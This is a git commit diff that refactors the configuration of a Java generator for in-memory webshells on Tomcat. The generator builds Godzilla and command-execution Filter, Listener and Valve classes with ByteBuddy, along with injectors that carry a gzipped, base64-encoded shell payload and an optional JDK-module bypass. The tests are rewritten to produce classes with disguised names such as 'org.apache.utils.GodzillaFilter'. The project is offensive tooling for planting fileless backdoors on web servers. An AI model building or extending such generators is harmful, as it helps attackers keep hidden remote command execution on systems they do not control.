refactor: separate generate config

This commit is contained in:
ReaJason
2024-12-07 01:49:12 +08:00
parent 3af6c3fa8f
commit a0a79a68f7
34 changed files with 387 additions and 518 deletions
@@ -1,13 +1,10 @@
package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import net.bytebuddy.jar.asm.Opcodes;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author ReaJason
@@ -15,34 +12,27 @@ import java.nio.file.Paths;
*/
public class GeneratorMain {
public static void main(String[] args) throws IOException {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
String shellType = TomcatShell.JAKARTA_FILTER;
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
.pass("passFilter")
.key("keyFilter")
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.TOMCAT)
.shellTool(ShellTool.Godzilla)
.shellType(TomcatShell.LISTENER).build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass("pass123")
.key("key123")
.headerName("User-Agent")
.headerValue("test")
.build();
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig, Opcodes.V11);
if (generateResult != null) {
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
System.out.println(shellConfig);
Files.write(Paths.get(shellConfig.getInjectorClassName() + ".class"), generateResult.getInjectorBytes());
JspPacker jspPacker = new JspPacker();
String jspContent = new String(jspPacker.pack(generateResult));
System.out.println(jspContent);
byte[] bytes = generate(shellConfig, new InjectorConfig(), godzillaConfig, Packer.INSTANCE.ScriptEngine);
if (bytes != null) {
System.out.println(new String(bytes));
}
}
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
switch (server) {
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
switch (shellConfig.getServer()) {
case TOMCAT:
return TomcatShell.generate(shellTool, shellType, shellConfig, targetJdkVersion);
return TomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
case BES:
break;
case RESIN:
@@ -52,6 +42,14 @@ public class GeneratorMain {
default:
throw new IllegalArgumentException("Unsupported server");
}
return GenerateResult.builder().build();
return null;
}
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
if (generateResult != null) {
return packerInstance.getPacker().pack(generateResult);
}
return null;
}
}
@@ -12,7 +12,7 @@ import lombok.experimental.SuperBuilder;
@Getter
@SuperBuilder
@ToString
public class CommandShellConfig extends ShellConfig {
public class CommandConfig extends ShellToolConfig {
@Builder.Default
private String paramName = "cmd";
}
@@ -9,7 +9,7 @@ import org.apache.commons.codec.binary.Base64;
* @since 2024/11/24
*/
@Data
@Builder
@Builder(builderClassName = "GenerateResultBuilder")
public class GenerateResult {
private String shellClassName;
private transient byte[] shellBytes;
@@ -18,10 +18,19 @@ public class GenerateResult {
private transient byte[] injectorBytes;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
private InjectorConfig injectorConfig;
public GenerateResult encodeBase64() {
this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
return this;
public static class GenerateResultBuilder {
public GenerateResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
}
return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
}
@@ -13,7 +13,7 @@ import lombok.experimental.SuperBuilder;
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class GodzillaShellConfig extends ShellConfig {
public class GodzillaConfig extends ShellToolConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
@@ -22,4 +22,4 @@ public class GodzillaShellConfig extends ShellConfig {
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
/**
* @author ReaJason
* @since 2024/12/5
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
@Builder(toBuilder = true)
public class InjectorConfig {
/**
* 注入器模板类
*/
private Class<?> injectorClass;
/**
* 注入器类名
*/
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
/**
* 注入访问的地址
*/
@Builder.Default
private String urlPattern = "/*";
/**
* 内存马类名
*/
private String shellClassName;
/**
* 内存马类字节
*/
private byte[] shellClassBytes;
}
@@ -1,28 +1,60 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/11/24
* @since 2024/12/6
*/
@Data
@SuperBuilder
@NoArgsConstructor
@Builder
@AllArgsConstructor
@NoArgsConstructor
public class ShellConfig {
@Builder.Default
private String shellClassName = CommonUtil.generateShellClassName();
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
@Builder.Default
private String urlPattern = "/*";
/**
* 目标服务类型
*/
Server server;
/**
* 内存马功能
*/
ShellTool shellTool;
/**
* 内存马类型
*/
String shellType;
/**
* 生成类的目标 JDK 版本
*/
@Builder.Default
private int targetJdkVersion = Constants.DEFAULT_VERSION;
}
/**
* 是否开启混淆
*/
@Builder.Default
private boolean obfuscate = false;
/**
* 是否开启调试
*/
@Builder.Default
private boolean debug = false;
public boolean isJakarta() {
return StringUtils.containsIgnoreCase(shellType, "jakarta");
}
public boolean needByPassJdkModule() {
return targetJdkVersion >= Opcodes.V9;
}
}
@@ -0,0 +1,29 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
public class ShellToolConfig {
/**
* 模板类 shellClass
*/
private Class<?> clazz;
/**
* shellClass 的类名
*/
@Builder.Default
private String className = CommonUtil.generateShellClassName();
}
@@ -1,14 +1,14 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers;
/**
@@ -17,15 +17,19 @@ import net.bytebuddy.matcher.ElementMatchers;
*/
public class CommandGenerator {
public static byte[] generate(Class<?> commandClass, String commandClassName, String paramName, boolean useJakarta, int targetJdkVersion) {
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
if (shellConfig.getClazz() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("paramName").setsValue(paramName));
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(commandClass)
.name(commandClassName)
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets);
if (useJakarta) {
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
@@ -2,11 +2,11 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
@@ -16,34 +16,29 @@ import org.apache.commons.codec.digest.DigestUtils;
* @since 2024/11/23
*/
public class GodzillaGenerator {
public static byte[] generate(ShellConfig config, GodzillaConfig shellConfig) {
if (shellConfig.getClazz() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
String md5Key = DigestUtils.md5Hex(shellConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(shellConfig.getPass() + md5Key).toUpperCase();
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
String pass, String key,
String headerName, String headerValue) {
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(shellConfig.getPass()))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(shellConfig.getHeaderName()))
.andThen(FieldAccessor.ofField("headerValue").setsValue(shellConfig.getHeaderValue())));
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("pass").setsValue(pass))
.andThen(FieldAccessor.ofField("key").setsValue(md5Key))
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
.name(godzillaClassName);
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
if (useJakarta) {
if (config.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
}
@@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.util.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
@@ -22,21 +24,19 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
public class InjectorGenerator {
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
}
@SneakyThrows
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
public static byte[] generate(ShellConfig config, InjectorConfig injectorConfig) {
String base64String = Base64.encodeBase64String(
CommonUtil.gzipCompress(injectorConfig.getShellClassBytes()))
.replace(System.lineSeparator(), "");
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectClass)
.name(injectClassName)
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
.redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJDKVersionVisitorWrapper(config.getTargetJdkVersion()))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
if (targetJdkVersion >= Opcodes.V9) {
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (config.needByPassJdkModule()) {
builder = ByPassJdkModuleInterceptor.extend(builder);
}
@@ -44,4 +44,4 @@ public class InjectorGenerator {
return make.getBytes();
}
}
}
}
@@ -13,7 +13,6 @@ import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import lombok.SneakyThrows;
import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap;
@@ -66,55 +65,48 @@ public class TomcatShell {
COMMAND_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
}
@SneakyThrows
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
if (shellTool == null || shellType == null || shellConfig == null) {
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
}
Pair<Class<?>, Class<?>> classPair;
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Class<?> injectorClass = injectorConfig.getInjectorClass();
byte[] shellBytes;
boolean useJakarta = shellType.startsWith(JAKARTA);
switch (shellTool) {
switch (shellConfig.getShellTool()) {
case Godzilla: {
classPair = GODZILLA_SHELL_MAP.get(shellType);
GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig;
shellBytes = GodzillaGenerator.generate(classPair.getLeft(),
godzillaConfig.getShellClassName(),
godzillaConfig.getPass(),
godzillaConfig.getKey(),
godzillaConfig.getHeaderName(),
godzillaConfig.getHeaderValue(),
useJakarta,
targetJdkVersion
);
Pair<Class<?>, Class<?>> classPair = GODZILLA_SHELL_MAP.get(shellConfig.getShellType());
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = GodzillaGenerator.generate(shellConfig, (GodzillaConfig) shellToolConfig);
break;
}
case Command: {
classPair = COMMAND_SHELL_MAP.get(shellType);
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
shellBytes = CommandGenerator.generate(classPair.getLeft(),
commandConfig.getShellClassName(),
commandConfig.getParamName(), useJakarta, targetJdkVersion);
Pair<Class<?>, Class<?>> classPair = COMMAND_SHELL_MAP.get(shellConfig.getShellType());
if (injectorClass == null) {
injectorClass = classPair.getRight();
}
shellToolConfig.setClazz(classPair.getLeft());
shellBytes = CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
break;
}
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellTool);
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
}
Class<?> injectorClass = classPair.getRight();
byte[] injectorBytes = InjectorGenerator.generate(injectorClass,
shellConfig.getInjectorClassName(),
shellConfig.getShellClassName(),
shellBytes,
shellConfig.getUrlPattern(),
targetJdkVersion);
injectorConfig = injectorConfig
.toBuilder()
.injectorClass(injectorClass)
.shellClassName(shellToolConfig.getClassName())
.shellClassBytes(shellBytes).build();
byte[] injectorBytes = InjectorGenerator.generate(shellConfig, injectorConfig);
return GenerateResult.builder()
.shellClassName(shellConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(shellConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.shellConfig(shellConfig)
.build().encodeBase64();
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorClass.getName())
.injectorBytes(injectorBytes)
.build();
}
}
@@ -11,7 +11,7 @@ import java.io.InputStream;
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public String paramName;
public String paramName = "{{paramName}}";
@Override
public void init(FilterConfig filterConfig) throws ServletException {
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName;
public String paramName = "{{paramName}}";
public CommandListener() {
}
@@ -15,7 +15,7 @@ import java.io.InputStream;
public class CommandValve implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String paramName;
public String paramName = "{{paramName}}";
public CommandValve() {
}
@@ -13,11 +13,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaFilter extends ClassLoader implements Filter {
public String key;
public String pass;
public String md5;
public String headerName;
public String headerValue;
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaFilter() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String md5;
public String pass;
public String key;
public String headerName;
public String headerValue;
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaListener() {
}
@@ -17,11 +17,11 @@ import java.io.IOException;
public class GodzillaValve extends ClassLoader implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String key;
public String pass;
public String headerName;
public String headerValue;
public String md5;
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public GodzillaValve() {
}
@@ -37,15 +37,15 @@ public class TomcatFilterInjector {
}
public String getUrlPattern() {
return "/*";
return "{{urlPattern}}";
}
public String getClassName() {
return "";
return "{{className}}";
}
public String getBase64String() {
return "";
return "{{base64Str}}";
}
static byte[] decodeBase64(String base64Str) throws Exception {
@@ -22,11 +22,11 @@ import java.util.zip.GZIPInputStream;
public class TomcatListenerInjector {
public String getClassName() {
return "";
return "{{className}}";
}
public String getBase64String() {
return "";
return "{{base64Str}}";
}
static {
@@ -22,20 +22,14 @@ import java.util.zip.GZIPInputStream;
*/
public class TomcatValveInjector {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
return "{{className}}";
}
public String getBase64String() {
return "";
return "{{base64Str}}";
}
static {
new TomcatValveInjector();
}
@@ -17,6 +17,7 @@ public class ClassUtils {
}
@SneakyThrows
@SuppressWarnings("deprecation")
public static Object newInstance(byte[] bytes) {
Class<?> clazz = defineClass(bytes);
return clazz.newInstance();
@@ -0,0 +1,19 @@
package com.reajason.javaweb.config;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/12/5
*/
class GodzillaShellConfigTest {
@Test
void test() {
GodzillaConfig shellConfig = GodzillaConfig.builder()
.pass("pass").build();
assertEquals("key", shellConfig.getKey());
}
}
@@ -1,33 +0,0 @@
package com.reajason.javaweb.memsell;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/11/23
*/
class GodzillaGeneratorTest {
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
String headerValue = "test";
@Test
@Disabled("just for generate")
void testGenerate() throws IOException {
String className = "org.apache.utils.CommonFilter";
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
IOUtils.write(bytes, Files.newOutputStream(Paths.get("CommonFilter.class")));
}
}
@@ -1,12 +1,17 @@
package com.reajason.javaweb.memsell.tomcat.command;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memsell.CommandGenerator;
import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import java.util.stream.Stream;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
@@ -14,14 +19,27 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
*/
class CommandFilterTest {
@Test
void testGenerate() {
String className = "org.command.CommandFilter";
String paramName = "cmd";
byte[] bytes = CommandGenerator.generate(CommandFilter.class, className, paramName, false, Constants.DEFAULT_VERSION);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(CommandFilter.class, "org.apache.utils.CommandFilter"),
arguments(CommandListener.class, "org.apache.utils.CommandListener"),
arguments(CommandValve.class, "org.apache.utils.CommandValve")
);
}
@ParameterizedTest
@MethodSource("casesProvider")
void generate(Class<?> clazz, String className) {
ShellConfig generateConfig = new ShellConfig();
CommandConfig shellConfig = CommandConfig.builder()
.clazz(clazz)
.className(className)
.paramName("cmd")
.build();
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(paramName, ClassUtils.getFieldValue(obj, "paramName"));
System.out.println(Base64.encodeBase64String(bytes));
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
}
}
@@ -1,38 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import static org.junit.jupiter.api.Assertions.*;
/**
* @author ReaJason
* @since 2024/11/24
*/
class GodzillaFilterTest {
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
String headerValue = "test";
@Test
void generate() {
String className = "org.apache.utils.CommonFilter";
byte[] bytes = GodzillaGenerator.generate(GodzillaFilter.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
}
@@ -1,32 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/11/24
*/
class GodzillaListenerTest {
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
String headerValue = "test";
@Test
void generate() {
String className = "org.apache.utils.CommonListener";
byte[] bytes = GodzillaGenerator.generate(GodzillaListener.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
}
@@ -0,0 +1,53 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import com.reajason.javaweb.util.CommonUtil;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import java.util.stream.Stream;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/11/24
*/
class GodzillaTest {
ShellConfig config = new ShellConfig();
GodzillaConfig.GodzillaConfigBuilder<?, ?> shellConfigBuilder = GodzillaConfig.builder()
.pass(CommonUtil.getRandomString(6))
.key(CommonUtil.getRandomString(6))
.headerName("User-Agent")
.headerValue(CommonUtil.getRandomString(5));
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(GodzillaFilter.class, "org.apache.utils.GodzillaFilter"),
arguments(GodzillaListener.class, "org.apache.utils.GodzillaListener"),
arguments(GodzillaValve.class, "org.apache.utils.GodzillaValve")
);
}
@ParameterizedTest
@MethodSource("casesProvider")
void generate(Class<?> clazz, String className) {
GodzillaConfig shellConfig = shellConfigBuilder
.className(className)
.clazz(clazz)
.build();
byte[] bytes = GodzillaGenerator.generate(config, shellConfig);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass"));
assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue"));
}
}
@@ -1,49 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/11/24
*/
class GodzillaValveTest {
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
String headerValue = "test";
@Test
void generate() {
String className = "org.apache.utils.CommonValve";
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
@Test
@SneakyThrows
void generateJakarta() {
String className = "org.apache.utils.CommonJakartaValve";
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Constants.DEFAULT_VERSION);
// Files.write(Paths.get(className + ".class"), bytes);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
}
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,21 +1,12 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.config.CommandShellConfig;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import com.reajason.javaweb.config.CommandConfig;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.util.Objects;
